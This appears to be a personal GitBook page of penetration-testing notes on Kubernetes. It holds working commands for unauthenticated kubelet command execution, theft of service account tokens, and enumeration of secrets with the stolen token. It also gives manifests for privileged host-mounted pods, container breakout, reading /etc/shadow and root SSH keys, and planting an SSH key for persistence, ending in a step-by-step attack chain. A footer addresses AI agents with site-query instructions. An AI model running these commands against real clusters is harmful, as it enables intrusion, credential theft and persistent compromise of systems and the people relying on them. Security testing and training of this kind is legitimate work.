> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/cloud/kubernetes-pentesting.md).

# Kubernetes Pentesting

***

## Common Ports

| Port      | Service        | Description                  |
| --------- | -------------- | ---------------------------- |
| 6443/8443 | kube-apiserver | Kubernetes API (HTTPS)       |
| 10250     | kubelet        | Kubelet API (HTTPS)          |
| 10255     | kubelet        | Kubelet read-only API (HTTP) |
| 10256     | kube-proxy     | Health check                 |
| 2379/2380 | etcd           | Key-value store              |
| 10249     | kube-proxy     | Metrics                      |

***

## Discovery

### Identifying Kubernetes

```bash
# SSL cert inspection reveals K8s
curl -k https://TARGET:8443/
# Response contains: "User \"system:anonymous\" cannot get path"
# Headers: X-Kubernetes-Pf-Flowschema-Uid

# Check common endpoints
curl -k https://TARGET:8443/version
curl -k https://TARGET:8443/healthz
curl -k https://TARGET:8443/readyz
curl -k https://TARGET:8443/livez
curl -k https://TARGET:8443/api
curl -k https://TARGET:8443/api/v1
```

### SSL Certificate Indicators

```
commonName=minikube/organizationName=system:masters
DNS:kubernetes.default.svc.cluster.local
DNS:kubernetes.default.svc
DNS:kubernetes.default
DNS:kubernetes
```

***

## Kubelet API (Port 10250)

The Kubelet API is often exposed and may allow unauthenticated access.

### Manual Enumeration

```bash
# List pods
curl -k https://TARGET:10250/pods

# Get metrics
curl -k https://TARGET:10250/metrics

# Run command in container
curl -k https://TARGET:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
```

### kubeletctl Tool

```bash
# Download
wget https://github.com/cyberark/kubeletctl/releases/download/v1.13/kubeletctl_linux_amd64
chmod +x kubeletctl_linux_amd64

# List pods
./kubeletctl_linux_amd64 pods --server TARGET

# Scan for service account tokens
./kubeletctl_linux_amd64 scan token --server TARGET

# Scan for RCE-capable pods
./kubeletctl_linux_amd64 scan rce --server TARGET

# Run command on all pods
./kubeletctl_linux_amd64 run "id" --all-pods --server TARGET

# Run command on specific pod
./kubeletctl_linux_amd64 run "ls /" --namespace default --pod nginx --container nginx --server TARGET

# Get interactive shell
./kubeletctl_linux_amd64 -s TARGET exec "/bin/bash" -p nginx -c nginx
```

***

## Service Account Token Extraction

Tokens are mounted inside pods at predictable paths:

```bash
# Common token locations
/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/token
/secrets/kubernetes.io/serviceaccount

# Extract token via kubeletctl
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
  --namespace default --pod nginx --container nginx --server TARGET

# Also grab the CA cert
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
  --namespace default --pod nginx --container nginx --server TARGET
```

***

## kubectl with Stolen Token

```bash
# Set token variable
export TOKEN="eyJhbGci..."

# Basic enumeration
kubectl get pods --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# Get pod details
kubectl get pod nginx -n default -o yaml --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# Check permissions
kubectl auth can-i --list --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# List namespaces
kubectl get namespaces --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# List secrets
kubectl get secrets --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true
```

***

## Privilege Escalation via Malicious Pod

If you have pod creation privileges, mount the host filesystem:

### Basic Host Mount Pod

```yaml
# malicious-pod.yaml
apiVersion: v1 
kind: Pod
metadata:
  name: pwned-pod
  namespace: default
spec:
  containers:
  - name: pwned-pod
    image: nginx:1.14.2
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

### Privileged Pod with Host Access

```yaml
# priv-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
    - name: pwned
      image: alpine
      securityContext:
        privileged: true
      volumeMounts:
        - mountPath: /host
          name: noderoot
      command: [ "/bin/sh", "-c", "--" ]
      args: [ "sleep infinity" ]
  volumes:
    - name: noderoot
      hostPath:
        path: /
```

### Deploy and Access

```bash
# Create the pod
kubectl apply -f malicious-pod.yaml -n default \
  --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# Get shell via kubeletctl
./kubeletctl_linux_amd64 -s TARGET exec "/bin/bash" -p pwned-pod -c pwned-pod

# Access host filesystem
ls -la /mnt/root/
cat /mnt/root/root.txt
cat /mnt/etc/shadow

# Add SSH key for persistence
echo "ssh-rsa AAAA..." >> /mnt/root/.ssh/authorized_keys
```

***

## Container Breakout Techniques

### Via Host Mount

```bash
# If /host or /mnt is mounted to /
chroot /host /bin/bash

# Or just access files directly
cat /host/etc/shadow
cat /host/root/.ssh/id_rsa
```

### Via Privileged Container

```bash
# Mount host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host
ls /mnt/host/root
```

***

## Useful API Endpoints

```bash
# API Server (8443/6443)
/api                      # API groups
/api/v1                   # Core API resources
/api/v1/namespaces        # List namespaces
/api/v1/pods              # List all pods
/api/v1/secrets           # List secrets
/apis                     # API groups
/healthz                  # Health check
/version                  # K8s version

# Kubelet (10250)
/pods                     # List pods
/metrics                  # Prometheus metrics
/run/<ns>/<pod>/<cont>    # Run command
/exec/<ns>/<pod>/<cont>   # Exec into container
/logs/<ns>/<pod>/<cont>   # Get logs
```

***

## Quick Reference

```bash
# Full attack chain
# 1. Enumerate pods via kubelet
./kubeletctl pods --server TARGET

# 2. Extract service account token
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
  --namespace default --pod PODNAME --container CONTAINERNAME --server TARGET

# 3. Check permissions
kubectl auth can-i --list --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# 4. If can create pods, deploy malicious pod
kubectl apply -f malicious-pod.yaml --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# 5. Get shell and access host
./kubeletctl -s TARGET exec "/bin/bash" -p pwned-pod -c pwned-pod
cat /mnt/root/root.txt
```

***

## References

* <https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/kubernetes-enumeration.html>
* <https://github.com/cyberark/kubeletctl>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/cloud/kubernetes-pentesting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
